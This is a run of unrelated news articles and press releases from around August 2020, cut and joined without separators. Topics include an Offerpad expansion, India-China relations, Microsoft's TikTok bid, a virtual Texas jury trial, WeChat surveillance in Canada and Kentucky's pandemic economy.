BB+' from 'IND BB' and the outlook was changed to positive, thanks to improved liquidity position after deleveraging. ALSO READ: Dabur promoters increase stake in Eveready Industries by 8.48% Offerpad began providing Florida homeowners a better way to sell their home in 2015, with the opening of local real estate solutions offices in Orlando and Tampa . Both markets garnered homeowner interest immediately and continue to be ranked as top performing markets with high volumes of offer requests, contracts signed, and home closings with Offerpad. "We've had a significant amount of seller interest to widen our Orlando coverage area for quite some time," said Vaughn Stewart, Offerpad's Orlando market director. "Port St. Lucie is known for quality homes that are typically located in quiet neighborhoods and surrounded by beautiful scenery we are confident that our stress-free way to sell a home will be welcomed by homeowners." Offerpad solutions are now available in: Offerpad's Real Estate Solutions Center is a guided experience that begins at Offerpad.com. The user is invited to share details of their current home and upload recent photos or schedule a quick virtual tour from the comfort of their living room. The home is then evaluated by the company's real estate experts and Offerpad's proprietary, data-driven real estate platform. Within 24 hours, the user will be presented with a competitive Offerpad cash offer, along with additional exclusive selling options. Customer options include selling the home instantly to Offerpad the perfect solution for those who seek a competitive cash offer with the convenience and control that comes with no showings and the customer's ability to select their closing date or partnering with Offerpad to list the home, the best choice for sellers who want to explore the opportunity to maximize their home's value. Additionally, those interested in pursuing new construction with an Offerpad-partnered builder receive exclusive benefits such as selecting the closing date of their current home to align with the close of the new build, up to nine months out. They also have the advantage of Offerpad's Extended Stay program, allowing the seller to remain in the home five days past close of escrow. Scott Howard, president of Maronda Homes said, "Our partnership with Offerpad over the past year has streamlined transactions for us and for our clients. Offerpad provides reassurance by removing the contingency of a client's current home funding falling through, while they build their next dream home. We're excited to know that Offerpad is expanding to Port St. Lucie where many of our future homeowners currently reside." Offerpad-builder partnerships in the Port St. Lucie area include Beazer Homes, Maronda Homes, Meritage Homes, and Pulte Homes, among others. To learn more about Offerpad's Real Estate Solutions and request a free no-obligation offer, visit Offerpad.com. Homebuilders interested in exploring partnership opportunities are encouraged to email [email protected]. About Offerpad Offerpad is a leading technology and real estate solutions provider with a mission to offer the best way to buy and sell a home. With firsthand real estate experience and utilizing powerful proprietary technology, the company provides several consumer-focused options including instant cash offers and superior home listing services. Offerpad is a privately held company headquartered in Chandler, Arizona, operating across the country in more than 800 cities. Visit Offerpad.com for more information. Media Contact David Stephan (602) 825-3135 [email protected] SOURCE Offerpad Related Links offerpad.com Aura Energy Ltd - Australian minerals exploration firm - Moves to final stage of CAD4.5 million gold funding term sheet with Toronto-listed Chilean Metals Inc for Aura's gold, base and battery metal tenements in Mauritania. Deal will be between Aura and the new joint venture formed, named Achean Gold Inc. Achean Gold to be granted the licences on sales and receive CAD4.5 million in four scheduled payments before October 2021. Following this, Aura will own 50% of Achean Gold. Also on Monday, Aura says it has filed documents with Supreme Court of Victoria to start proceedings against ASEAN Deep Value Fund. Claims ASEAN and associates breached rules on disclosures on substantial holdings. Aura seeks to have extraordinary general meeting called by ASEAN deferred from the current scheduled date of Friday. Current stock price: 0.58 pence Year-to-date change: more than doubled from 0.28 pence By Dayo Laniyan; dayolaniyan@alliancenews.com Copyright 2020 Alliance News Limited. All Rights Reserved. An Indian army convoy drives towards Leh, on a highway bordering China, on June 19, 2020 in Gagangir, India. As many as 20 Indian soldiers were killed in a "violent face-off" with Chinese troops on Tuesday in the Galwan Valley along the Himalayas. Yawar Nazir | Getty Images India's border clash with China in June is likely to accelerate a trend where New Delhi continues to build and strengthen strategic partnerships with the United States and others to protect its national interests, experts told CNBC. The stand-off in the Himalayas began in May and a violent June face-off killed 20 Indian soldiers, putting pressure on Prime Minister Narendra Modi's government to respond. China did not disclose if there were casualties on its side. Former diplomats and political commentators have said the altercation in June was a "turning point" in one of Asia's most important bilateral relationships. For its part, New Delhi introduced measures in recent months aimed at either sidelining or banning Chinese companies from one of the world's largest consumer markets, including restricting Chinese investments into India even before the border clash happened. "The border clash with China is likely to accelerate a trend that was already happening," Akhil Bery, South Asia analyst at political risk consultancy Eurasia Group, told CNBC. On the international front, experts said that New Delhi is aiming to strengthen its various bilateral and multilateral partnerships. That includes the important India-U.S. relationship, which is said to have progressed well in recent years, as well as New Delhi's strategic partnership with Moscow and bilateral ties with the European Union. Strengthening of the Quad One of the areas in India's efforts to shore up its external ties is the Quadrilateral Security Dialogue an informal strategic dialogue between the United States, India, Japan and Australia, known commonly as the Quad. Language used by the U.S. State Department describes the Quad's "collective efforts to advance a free, open, and inclusive Indo-Pacific." "Clearly, a major plank in external balancing is that to strengthen the unity and cohesion of the quadrilateral partnership," Rajiv Bhatia, a distinguished fellow in the foreign policy studies program at think-tank Gateway House, told CNBC. Bhatia was also the former Indian ambassador to Myanmar and Mexico. "Quite a few steps have been taken and I think my research shows that this cohesion would go up in the same proportion as China shows its aggressiveness towards these four countries, in particular, and the region in general," he said. Historically, India has always maintained a level of strategic autonomy in the way it conducted foreign policy. That meant New Delhi avoided being part of any formal alliances as it pursued its interests at an international level. Experts argue that establishing closer ties with members of the Quad does not go against India's strategic autonomy, and that none of the four countries involved would seek to turn the partnership into a formalized military alliance. Shift in India's position There has been a shift in India's position where New Delhi doesn't necessarily see the need to choose between strategic autonomy and strategic partnerships, according to Harsh Pant, head of the strategic studies program at the Observer Research Foundation. "There is a growing consensus that it is building strategic partnerships that enhances India's strategic autonomy," he told CNBC, adding that China's recent moves "hasn't left much choice" for New Delhi other than to strengthen its engagement with the Quad. I think we would see a new chapter in which India would assert itself, India would focus on increasing its economic strength, India would shore up its partnerships, and India would remain resolute militarily. Rajiv Bhatia Former Indian Ambassador to Myanmar and Mexico Former ambassador Bhatia explained there is little doubt that India is open to the idea of a stronger diplomatic and political partnership where the first and foremost focus is on "encouraging China to follow international law and international norms." There are ways to deepen cooperation within the Quad, experts said. That includes India inviting Australia to this year's Malabar naval exercises a trilateral naval exercise between India, the United States and Japan. Though in recent years New Delhi resisted the idea of including Canberra in the joint-exercises out of concern over provoking Beijing, Bhatia said since May, India has "traveled past the stage to worry about China's sensitivity." Other ways that the Quad can strengthen its partnership include greater trade linkages, collaborating on infrastructure development and sharing of intelligence, according to Eurasia Group's Bery. "Other potential areas of cooperation include on cybersecurity, disaster responses and even on counterterrorism," he said by email. Future of India-China relationship Why Every Unemployed American Should be Searching for a Job Right Now Most states have now reinstated their work search requirements. Even before the requirements go into effect, however, there could be benefits to beginning your search early. Job seekers who are active, engaged, and responsive now will have a distinct advantage over those who wait and rejoin the labor market when it is more competitive. Thats because job search intensity has been fairly low since COVID-19 outbreaks began in the U.S. The pandemic made some forms of work more dangerous, public transit risks and restrictions made getting to work more difficult, and school closures made business as usual untenable for many working parents. Expanded unemployment benefits also eased the pressures on unemployed workers to find new jobs immediately. Furthermore, the vast majority of people who lost their jobs were on temporary layoff and didnt see a need to find something new because they expected to go back to their old jobs. Ahmed Amarnehs home, its wooden door leading into cushion-lined rooms, is not the first Palestinian residence in the occupied West Bank to receive a demolition notice from Israel. But it may be the first built inside a cave that Israel has threatened to destroy. Amarneh, a 30-year-old civil engineer, lives with his family in the northern West Bank village of Farasin, where Israel insists it must approve any new residential construction and can tear down homes built without permits. I tried twice to build [a house], but the occupation authorities told me it was forbidden to build in the area, said Amarneh. The Oslo peace accords of the 1990s gave the Palestinians self-rule in parts of the West Bank. However, about 60 percent of the territory dubbed Area C, where Farasin is located, remains under full Israeli civil and military control. The United Nations considers Area C as occupied Palestinian territory. But Israel has increasingly taken land there for the construction of Jewish settlements considered illegal under international law. Didnt make the cave Convinced he would never get Israeli approval to build a home in his village, Amarneh set his sights on a cave in the foothills overlooking Farasin. Amarneh said he figured that because the cave is a natural formation, Israel could not possibly argue it was illegally built, while the Palestinian Authority agreed to register the land in his name. Amarneh sealed the mouth of the cave with a stone wall and installed a wooden door at its centre. He fashioned a kitchen, a living room, and sleeping areas for himself, his pregnant wife, and their young daughter. There is even space for guests. After living there for a year and a half, he received a demolition notice from the Israeli authorities in July along with 20 other Palestinian families in Farasin. The Israeli military branch responsible for civilian affairs in the occupied West Bank, COGAT, said demolition notices were served to some Farasin residences because of structures that were illegally built, without the necessary permits and approvals. Amarneh said he was surprised to learn that he had built anything illegally. I didnt make the cave. It has existed since antiquity, he said, holding his young daughter in his arms. I dont understand how they can prevent me from living in a cave. Animals live in caves and are not thrown out. So let them treat me like an animal and let me live in the cave. Israeli bulldozers Arab residents established the village of Farasin in 1920, said local council head, Mahmud Ahmad Nasser. It was abandoned during the 1967 War, the year the Israeli occupation of the West Bank began. But from the 1980s, former residents began to return to the area. Nasser put its current population at about 200. Farasin looks less like a village than a small collection of houses spaced widely apart. The PA officially recognised the community of Farasin in March, but the coronavirus crisis has prevented it from providing electricity to the area, the local council said. COGAT indicated in April it might suspend some scheduled demolitions because of the pandemic. But, according to the Israeli anti-settlement campaign group BTselem, Israel demolished 63 Palestinian structures in June. Roughly 450,000 Jewish settlers live in the occupied West Bank, alongside some 2.7 million Palestinians. Farasin residents have feared the arrival of Israeli bulldozers for weeks, Amarneh said. Recently soldiers came and told Palestinian people they had one minute to collect all their things and leave their house, he said. They told us, without any shame, to leave the village. Amarneh is fearful that his familys cave home could be the next target, adding that his wife and daughter are in shock. Share this article Whatsapp Facebook Twitter Linkedin Echo Wang and Paresh Dave (Reuters) Tue, August 11, 2020 11:08 526 6657ac82168da9fa101c8a4066d0d236 2 Science & Tech Microsoft,TikTok Free Microsoft Corp's bid to carve out parts of TikTok from its Chinese owner ByteDance will be a technically complex endeavor that could test the patience of President Donald Trump's administration, according to sources familiar with the setup. Trump has given Microsoft until Sept. 15 to put together a blueprint for an acquisition that safeguards the personal data of Americans stored on the short-video app, and he has issued an order to ban it if there is no deal by then. Microsoft is negotiating a transition period that will give it time to ringfence TikTok technologically from ByteDance after they agree to a deal, Reuters reported on Aug. 2. The clean break that Trump and lawmakers envision could take a year or more, some of the sources said. TikTok is functionally and technically similar to ByteDance-owned Douyin, which is available only in China, and shares technical resources with it and other ByteDance-owned properties, people familiar with the matter said. ByteDance started working on their technological separation several months ago amid scrutiny from the US government, a source familiar with the process told Reuters. It began planning for a split as part of a strategy to shift its power from China, Reuters has reported. While the code for the app, which determines the look and feel of TikTok, has been separated from Douyin, the server code is still partially shared across other ByteDance products, the source said. The server code provides basic functionality of the apps such as data storage, algorithms for moderating and recommending content and the management of user profiles. To ensure uninterrupted TikTok service, Microsoft would likely need to rely on ByteDances code while it reviews and revises the code, and moves to a new back-end infrastructure to serve users, according to cyber security expert Ryan Speers at River Loop Security, which provides services including cybersecurity due diligence for deals. Read also: Explainer: Microsoft's TikTok bid spotlights Windows maker's history with China Any continuing technical or operational reliance of the US business on the Chinese company after the sale generally would have been unacceptable to the Committee on Foreign Investment in the United States (CFIUS), said Aimen Mir, former Deputy Assistant Secretary of the Treasury responsible for CFIUS, now a partner at the law firm Freshfields Bruckhaus Deringer. In the past, CFIUS has required adoption of increased protections pending a sale, including separation of the U.S. business from foreign sellers to the furthest extent possible, he said. Another challenge Microsoft faces is how it will transfer what is viewed as TikTok's secret sauce, the recommendation engine that keeps users glued to their screens. This engine, or algorithm, powers TikTok's "For You" page, which recommends the next video to watch based on an analysis of user behavior. TikTok uses recommendation algorithms that are independent from Douyin, according to two sources familiar with the matter. But what makes it tick is the content and user information that is fed into the algorithm. "Algorithms are not worth anything without the data," said Jim DuBois, a former Chief Information Officer at Microsoft. DuBois is a venture adviser at Ignition Partners. "Segmenting the data for those countries is a significant task." Microsoft's negotiations for the acquisition of the U.S., Canada, New Zealand and Australia operations of TikTok complicates a separation. Not only would TikTok have to be separated from ByteDance, it would have to be broken up from TikTok's other regions. This adds to the technical challenges because of the amount of data involved. "The biggest part is separating the user data - both content and data about users," DuBois said, noting hard disks of data would likely need to be transferred between ByteDance and Microsoft. TikTok had said its user data was stored in the US, with a backup in Singapore, separate from the rest of the company. The proposed timeline makes consummating a deal very challenging, said Karen C. Hermann, a deal lawyer at Venable LLP: "It can sometimes take months and months just to identify the business needs of the divested business, what IP and other assets it uses exclusively, and what assets and IP it shares with other businesses in the company group." Topics : Microsoft TikTok A key member of the religious right of the Victorian Liberal Party has resigned from the party's top decision-making body. Ivan Stratov stepped down from the powerful administrative committee, responsible for day-to-day management of the party, on Monday. Ivan Stratov said he had moved to Ukraine for a religious mission. Credit:Youtube Dr Stratov, a Mormon, has been an active recruiter in the religious conservative grouping centred around 30-year-old powerbroker Marcus Bastiaan. The infectious diseases specialist said he had moved to Ukraine for a religious mission. A horrifying map shows the Sydney suburbs with the greatest alcohol-related domestic assaults, with those in the city's centre most at risk. Hot spots are scattered across the city but the CBD stood out, with a cluster of assaults happening within the same area. Affluent eastern suburbs feature prominently in the map, including Bondi, Woollahra, Randwick and Coogee. A horrifying map shows the Sydney suburbs with the greatest alcohol-related domestic assaults, with red indicating high numbers of incidents around Bondi, the CBD and Randwick Surburbs in the inner-west, including Newtown, Petersham and Campbelltown also feature on the map. The inner-city suburbs of Pyrmont, Surry Hills and Glebe also had high numbers of alcohol related incidents. Some of the Harbour City's more exclusive areas, such as Watsons Bay, Vaucluse or Kirribilli in the North Shore, don't show at all, but there are clusters of incidents around Mosman and Crows Nest. The area with the highest proportion of alcohol-related domestic assaults as a proportion of the population was Walgett, in western NSW. Walgett has 57 incidents for the 12 months to March 2020 - more than 12 times the state average of 115 per 100,00. In Surry Hills, there was 207 such incidents per 100,000 residents, higher than Sydney's overall rate of 184. In New South Wales, the overall rate is 115 assaults per 100,000 residents. The map has been created as part of the government's new online tool LiveData, which gives the community access to up-to-date alcohol, crime and health data. Minister for Customer Service Victor Dominello said the tool is a game changer for governments, industry and the community. The tool can help inform decisions about development applications for new liquor licences. Minister for Customer Service Victor Dominello said the map can help inform state liquor policies (Pictured, police in central Sydney) 'Livedata brings together multiple data categories from a range of government sources in one centralised, easy-to-use portal, giving everyone easy access to the latest data on liquor-related information in their local area,' Mr Dominello said. 'This will improve transparency around liquor licence applications and empower communities to respond to local challenges.' Mr Dominello said the tool has the same data which the NSW Independent Liquor & Gaming Authority considers when it assesses applications for new liquor licences. 'This interactive tool gives stakeholders a bird's-eye view of liquor licences so they can make more informed decisions,' Mr Dominello said. He said it made if simpler and quicker for residents and local officials to understand local alcohol-related trends if they wish to make a submission on a liquor licence application. Farmers and unions have clashed over calls to stop hiring international backpackers to harvest Australian crops and employ unemployed young people instead. Three high profile unions have joined forces to call for the working holiday maker visa to be abolished, arguing the program is rife with systemic and widespread exploitation. They have called for more young people in regional and rural areas to be hired, and urged federal politicians to allow more Pacific Islanders to work on Australian farms. Farmers and unions have clashed over calls to stop hiring international backpackers to harvest Australian crops and employ unemployed young people instead (file picture) The National Farmers' Federation acknowledged backpackers needed better protection from 'deplorable, sometimes illegal actions' in Australia, but argued banning working holiday makers was not the answer. NFF president Fiona Simson said up to 80 per cent of the horticultural sector's workforce was migrant labour. WORKING HOLIDAY VISAS (subclass 417) Working holiday visas (subclass 417) allow people under the age of 30 and from eligible countries to stay in Australia for up to a year. They can only hold a job for up to six months at a time, but can hold more than one job throughout their stay. If they wish to extend their stay in Australia, backpackers can get a second or third 417 visa - but need to complete three months of specified work (often on a farm). Countries eligible for 417 visas include the UK, Ireland, Canada, France, Germany, Hong Kong, Japan, South Korea, Holland, Norway, Sweden and Taiwan. Advertisement Ms Simson dismissed the unions' call as a 'short-sighted, juvenile, headline grabbing stunt'. 'Farmers would always prefer to employ Australians,' she said on Tuesday. 'But the facts this gang of unions choose to ignore are that farmers simply cannot source the local workers they need and therefore rely on international workers to help put food on the shelves for all Australians.' ork in the coming months, as most are unable to enter the country because of the closure of Australia's international borders. Many backpackers left the country at the start of the coronavirus pandemic in Australia. Prime Minister Scott Morrison urged temporary visa holders to leave at the start of April. 'These (student) visas, and those who are in Australia under various visa arrangements, they are obviously not held here compulsorily,' he said at the time. 'If they are not in a position to support themselves then there is the alternative for them to return to their home countries. 'We still have quite a number of people who are here on visitor visas. 'As much as it is lovely to have visitors to Australia in good times, at times like this if you're a visitor in this country, it is time, as it has been now for some while and I know many visitors have to make your way home and to ensure that you can receive the supports that are available in your home countries.' Most who are still here are ineligible for handouts like JobKeeper and JobSeeker. Source: Xinhua| 2020-08-11 21:55:19|Editor: huaxia Video Player Close LUSAKA, Aug. 11 (Xinhua) -- The European Union (EU) on Tuesday gave Zambia life-saving medicines and medical supplies to help the southern African nation tackle the COVID-19 pandemic. The donation involves essential medicines and protective clothing. Jacek Jankowski, EU Ambassador to Zambia said the donation, worth 2.7 million Euros will go a long way in helping the country to contain not only the COVID-19 pandemic but also help in the provision of routine health care service delivery. The donation, he said, demonstrates the long-standing cordial relations that have existed between the EU and Zambia. He further announced that the organization was ready to stand with Zambia in building its resilience to respond to the pandemic. "We need to fight this pandemic together. Since the outbreak of the pandemic, the EU has been standing in solidarity with Zambia in fighting the disease," he said. Chitalu Chilufya, Zambia's Health Minister thanked the EU for the donation, adding that the organization has been one of Zambia's strategic partners in the health sector for a long time. He said the government was committed to achieving universal health coverage hence its decision to invest in improving health care service delivery and infrastructure. The Zambian minister further thanked the EU for standing in solidarity with the country especially in the current situation where the country was battling with COVID-19 pandemic. Enditem DALLAS - The jurors appeared on screen from their living rooms, bedrooms and home offices. Juror 11 took notes as a sheriffs deputy testified about giving a speeding ticket. Juror 18 occasionally looked away as a white cat scampered across her couch. They gathered on a video conference call Tuesday in what Texas court officials said is a national first a virtual jury trial in a criminal case. Youre here today for jury duty in a different way, Judge Nicholas Chu said at the start of the trial. Thats jury duty by Zoom. The Travis County misdemeanour traffic case is the latest experiment in how to resume jury proceedings in a criminal justice system thats been crippled by the coronavirus pandemic. It was greeted by lawyers and legal experts as a low-risk step forward, but one that could imperil defendants rights. Nationwide, the virus has put many court cases on indefinite hold and left some defendants in jail longer, possibly exposing them to outbreaks. It has forced judges to hold hearings via video conference and even led the Supreme Court to hold oral arguments by phone for the first time in its history. In Texas, fewer than 10 jury trials have been held since state courts resumed in-person proceedings in June, according to Megan LaVoie, a spokeswoman for the state judicial branch. She said Tuesdays case was picked as the first criminal jury trial to be held virtually in the U.S. because both sides agreed and it was ready to go. The trial of Calli Kornblau, an Austin-area nurse charged with speeding in a construction zone, was broadcast live on YouTube. At some points, there were more than 1,000 people tuned in to hear testimony about traffic rules and the workings of police laser speed readers. Chu cautioned the jurors that the unusual setting made their work no less serious, warned them against using Google to search about the case and forbade them from posting about it on social media. He asked for their patience with technological hiccups and apologized for the proceeding taking much longer than expected. Soon before 5 p.m., the lawyers finished their arguments and the jury was sent to a private virtual room where they could look at the evidence and deliberate. They took about 30 minutes to return a guilty verdict. Kornblau was given a deferred adjudication, and ordered to pay a $50 fine and court costs. Her case comes after another Texas court held an experimental civil jury trial in May. Defence attorneys have raised constitutional and logistical concerns about e-court for criminal cases, saying they already struggle to speak privately with their clients during routine hearings held remotely. Legal experts say the pandemic requires courts to strike a tricky balance; they must advance cases to give people speedy trials and prevent an overwhelming backlog while preserving defendants rights. Whether trial by Zoom can achieve this equilibrium is unclear. Daniel Medwed, a professor at Northeastern University School of Law, said one concern is that video wont allow jurors to assess witness credibility through demeanour and body language. Another is that it falls short of the constitutional guarantee that defendants can confront witnesses. There are also questions about whether the lack of physical gathering fundamentally changes the nature of jury deliberation. And a conviction through such a trial might run into trouble on appeal, said Laurie Levenson, a professor at Loyola Law School and former federal prosecutor. Its a grand experiment, said Levenson. Whether or not it will comply with the Constitution still remains to be seen. My parents had 19 children, and I was number 18, Evie Gandy said. Even though only 13 of us survived, there were always a lot of people around the house. I guess thats why Im a people person. I love customer service. Gandys affinity for customer service landed her a job at The Bosworth Co. as a receptionist, a position she held for over 20 years until her promotion two years ago as director of First Impressions/Marketing/PR. The title director of First Impressions was a new title at Bosworth, Gandy said. My boss wanted to convey the importance that first impressions make on customers. It suits me and fits my personality. My goal is to help people and make sure that they trust Bosworth and its subsidiaries. Not only does Gandy handle marketing and public relations for The Bosworth Co. in Midland and Kerrville, but also serves subsidiary companies including Roto Rooter, The Darville Co., Trenchless Replacement Specialists and City Plumbing. Bosworth is a great company, Gandy said. Its not uncommon for employees to work there 30 years or more. I was a single mother for 10 years, and Corky Bosworth was like a second father to me. Ron Ainsworth has been like a mentor to me, and I highly respect them for what I have learned throughout the years. They helped me with car repairs, home repairs and, of course, air conditioning and plumbing trouble everything a single mom suddenly finds herself having to deal with after a divorce. Throughout the years, other companies have called trying to recruit me as a receptionist, but Im committed to Bosworth. They take good care of me, and I love what I do. Gandy was born in Guadalajara, Mexico. When she was 3, her family moved to Santa Anna in Orange County, California. Her father was employed by a company that built transformers for airplanes. He retired when Evie was 11, and she moved back to Guadalajara with her parents. I dont remember much about living in Guadalajara before I was 3, but I do remember it as a teenager when we moved back, Gandy said. We didnt have electricity or running water after moving to my grandfathers farm. I remember helping my mom wash clothes on a big rock by the river. We cooked in an open fire and ate fresh organic milk, eggs, fruits and vegetables, which was an incredible experience. Going to school in the small town was only temporary; I missed a huge part of my education growing up as a teenager. When Gandy was 17, the family relocated once again to the United States this time in Odessa. She enrolled in Permian High School and had to begin at the 10th-grade level; when she graduated in 1991, she was 21. During her senior year, Gandy taught 4- and 5-year-olds at a Montessori school in Odessa and thought she wanted to be a bilingual elementary school teacher. After her divorce, Gandy realized that her dreams of going back to college would have to be put on hold, because she now had to work full-time and raise her small son and daughter. Gandy started working for The Bosworth Co. in 1997. She married Morgan Gandy in 2011; their blended family consists of Gandys children, Nick, 26; and Natalie, 21; and her stepson, Maddox, 13. When Natalie was a senior in high school, I told Morgan that I had always wanted to go back to college, Gandy said. However, Natalie was about to be in college, and we still had Maddox to put through school. We just couldnt afford it, so we prayed about it. To my surprise, in the spring of 2016, I got a call from Dennis Sever [Midland College retired vice president of Information Technology & Facilities]. Dennis is a Bosworth customer and somehow heard that I wanted to go back to school. He told me about the colleges Bill Pace Cogdell Scholarship, which pays 100 percent of all expenses. I couldnt believe it! I called my husband in tears, and I think he started crying, also. That fall, I started taking classes at Midland College. Gandy graduated in May with an Associate of Arts degree. She is about to begin working toward a bachelors degree in Classical & Modern Languages at the University of Texas Permian Basin. The Cogdell Scholarship will continue to pay for her scholastic expenses. I feel truly blessed, Gandy said. Two years ago, when Bosworth promoted me to my current position, I told them that I had just started working toward a degree. They had enough faith in me to know that I would continue to work hard for them and finish my degree. Gandys son is a corpsman in the U.S. Navy at Camp Lejeune in Jacksonville, North Carolina, and will soon start working toward a bachelors degree in exercise science. Her daughter is also a Midland College graduate and is beginning her first year in medical school at Texas College of Osteopathic Medicine in Fort Worth. Gandy is an 18-year member of Midland Uptown Business & Professional Women and a member of Desk & Derrick. She teaches Sunday school to 3rd-6th graders at Presence Church. Gandy enjoys staying active. For the past six years, she and her husband have participated in CrossFit with Fit For The Cross, and the family enjoys outdoor activities camping, hiking, bike riding, four-wheeling, snorkeling and scuba diving. Their favorite places to hike are the Fort Davis and Big Bend areas, Palo Duro Canyon and the Guadalupe Mountains. To celebrate Natalies high school graduation last year, the family traveled to Cozumel where they were able to practice their snorkeling and scuba diving skills. Im over 50, but still feel like there is a lot of life left, and God continues to be so good to me, Gandy said. My route has been a little different than most, but all the great experiences Ive had made me the person I am today. I am so thankful for the opportunity to go to Midland College. Now Im looking forward to continuing my studies at UTPB. Rebecca Bell is executive director of Institutional Advancement. Should Canada follow suit after U.S. President Donald Trump ordered a sweeping ban on dealings with the Chinese owners of popular apps TikTok and WeChat on security grounds? Last Thursdays twin executive orders take effect on Sept. 20 and could bar the hugely popular apps from appearing in Apple and Google app stores, effectively removing them from U.S. distribution. The Trump administration expressed concern the social media services could provide American users personal information to Chinese authorities, though it has given no evidence TikTok has done so. A body of research on WeChat, on the other hand, has shown the app surveils its more than a billion monthly active users. A report from the Citizen Lab at the Munk School of Global Affairs in Toronto found that censorship and surveillance applies to even the accounts of internationally registered users. While experts tell the Star that a targeted ban on WeChat would be a bad idea, they say governments should bolster cybersecurity rules to protect users on all communication platforms. WeChat has also become a hub of misinformation and propaganda targeted towards the Canadian Chinese diaspora, said Ai-Men Lau, an analyst with the Macdonald-Laurier Institute in Ottawa. A ban would be difficult to implement, doesnt necessarily address the privacy and security issues and unfairly impact people in Canada wanting to be in touch with their family in China. Regulation, however, is overdue. All platforms that operate in Canada should meet benchmarks for privacy and security, Lau said. Launched in 2011 by Chinese company Tencent Holdings, WeChat has become an essential platform for a plethora of media outlets, communities and businesses. While Tencent says its censorship actions are to comply with Chinese laws and regulations, its difficult to see a similar justification for this extending of the Great Firewall beyond Chinas borders, said James Griffiths, author of The Great Firewall of China: How to Build and Control an Alternative Version of the Internet. And yet governments and regulators have essentially turned a blind eye to this perhaps because it mainly affects the Chinese diaspora community. Basic legal standards could be set for protecting user privacy and freedom of speech. If companies are found to be in violation of this, they could be fined or restricted from operating until they remedy the situation. Maybe this would lead eventually to services being blocked, but it would be a more transparent, open process, Griffiths told the Star. Canada does not currently have legislation in place that sets common standards for all digital platforms used by Canadians. A spokesperson for Public Safety Canada said the federal budget in 2019 provided $144.9 million dollars over five years to protect Canadas critical cyber systems. These investments will support the proposal of new legislation, with necessary amendments to existing federal legislation, to introduce a new, critical cyber systems framework, the spokesperson added. Public Safety Canada did not specify a timeline for when new legislation would be introduced, and did not immediately reply to followup questions. Many Chinese-Canadians use WeChat to stay in touch with friends and family members. Often, it is their best option since thousands of websites and popular applications including Gmail, Twitter, Facebook and Instagram are banned in China. In Canada, media companies can try to post stories on WeChat, but previous Star reporting found that many such stories were regularly deleted on the platform. Additionally, Citizen Lab research has found that WeChat monitors the private conversations of international accounts and uses the data to train censorship algorithms. Because China-registered accounts can neither send or receive prohibited content, when they interact with internationally registered WeChat users, the latter wont be able to receive any messages containing prohibited content, Citizen Lab spokesperson Miles Kenyon told the Star. Lau said: There is probably little public support for WeChat regulation because many Canadians think what happens on the app doesnt affect them. It may not impact you directly but (activities on WeChat) are starting to seep into our political and academic institutions. During the run-up to B.C. municipal elections of November 2018, the RCMP opened an investigation into allegations of vote-buying by the city of Richmond, B.C.-based Wenzhou Friendship Society over posts on WeChat offering voters a $20 transportation subsidy. The organization encouraged voters to cast ballots for certain candidates. The RCMP later said it had found no evidence that merited a criminal charge and urged anyone who felt they had been a victim to come forward. The use of WeChat as a platform for intimidation of Canadians critical of the Chinese government is another emerging issue. Last February, Rukiye Turdush learned her talk at Ontarios McMaster University on Chinas mass internment of Muslim Uighur people was filmed and sent to a WeChat group for the universitys Chinese Students and Scholars Association (CSSA). The leaked screenshots showed members writing that they had contacted the Chinese embassy about the event. The postings said the embassy told them to find out whether university officials attended the talk and whether Chinese nationals were involved in organizing the talk. The Chinese consulate in Ottawa denied it had anything to do with the actions. Chinas ability to use technology to reach into Canada and intimidate people is a growing problem, said David Mulroney, Canadas ambassador to China from 2009 to 2012. We should all police included take it seriously as a form of harassment that is deeply threatening and hurtful, he told the Star. With files from the Associated Press Clarification Aug. 11, 2020: This article was updated to include more information from Citizen Lab on surveillance of internationally registered WeChat accounts and to explain that international accounts would not be able to receive prohibited content from China-registered accounts. Joanna Chiu is a Vancouver-based reporter covering both Canada-China relations and current affairs on the West Coast for the Star. Follow her on Twitter: @joannachiu Read more about: The parade of cars honked incessantly as they crawled past the federal courthouse on West Broadway, their message clear to anyone who bothered to steal a glance at their signs outside. "Mitch better have my money." The Kentucky representatives from the AFL-CIO, Teamsters and other labor groups had grown incensed with Mitch McConnell, their home state senator and the chamber's most powerful lawmaker. For months, they said, he had been blocking much-needed congressional coronavirus aid, the kind of dollars that might help workers and businesses in the Bluegrass State struggling to survive financially. So they hit the streets on Thursday, drove down to McConnell's Louisville office and started to circle the block, their 30 or so vehicles plastered with not-so-subtle orange and gray signs featuring a family-friendly rewrite of a popular Rihanna tune. The labor protest marked only the latest in a series of exasperated complaints from Kentuckians directed at McConnell, a Republican, as some locals find themselves frustrated by the absence of their powerful political representative on Capitol Hill. In more than two dozen interviews, out-of-work residents, struggling restaurant owners and other business leaders, as well as a cadre of annoyed food, housing and labor rights groups, all said they are in dire need of more support from Congress - the likes of which McConnell has not been able to provide. About five months after Kentucky reported its first loss of life from covid-19, its economy continues to sputter amid the coronavirus pandemic. Many unemployed workers say their benefit checks aren't enough to afford their bills, and some here simply have stopped looking for jobs. Businesses say they're also hemorrhaging cash, and local governments fear they're on the precipice of financial ruin, too. The economic tumult in Kentucky is vast, and it has added new urgency to the political standoff on Capitol Hill, where the prospect of a prolonged deadlock could worsen the financial woes in a state that was hurting long before the pandemic arrived. Caught in the middle is McConnell, 78, who some critics say has struggled to navigate the priorities of the president, the political desires of a fractious Republican conference and the economic needs in his own backyard. McConnell declined to be interviewed for this story. His spokesman, Robert Steurer, said in a statement that the Senate majority leader's efforts have directed approximately $12 billion to Kentucky. The aid originates in large part from previous coronavirus relief legislation, which Steurer said would help "address urgent housing, transportation, health care, education and economic development priorities" in the state. For Kenny Saylor, the money was good before the pandemic began this spring. The 42-year-old in Corbin, Ky., once a bustling railroad shipping hub in the southeast part of the Bluegrass State, had been driving his own truck, hauling returns six days a week for Amazon to the pallet stores that sell off consumers' unwanted purchases. But business began to slow around April, "and that's when everything went south for me," Saylor said. Unemployment payments helped fill the gap, but the reprieve proved short-lived after lawmakers in Washington failed to authorize additional coronavirus stimulus aid. A self-described "die-hard Republican" his entire life, Saylor said he has now found himself angry with some of the GOP leaders who had long represented him, including McConnell. "I'm scared to death of losing everything," he said. The country's economic unraveling - the worst in a generation - has spared no community from severe hardship. But in a state like Kentucky, where some communities already had been grappling with joblessness, poverty and stagnation, the coronavirus often has made matters worse. About half of all adult residents have seen some reduction in their employment income. Meanwhile, about a quarter of a million residents say they do not get enough food to eat, and nearly one-third of households are struggling to pay their rents and mortgages, federal data show. "We're seeing huge numbers of people needing help," said Jason Bailey, the executive director of the left-leaning Kentucky Center for Economic Policy, who added: "I can't imagine a state that needs additional relief more than Kentucky does." The pandemic initially shuttered restaurants in urban centers like Lexington for a time, and it closed automakers' factory 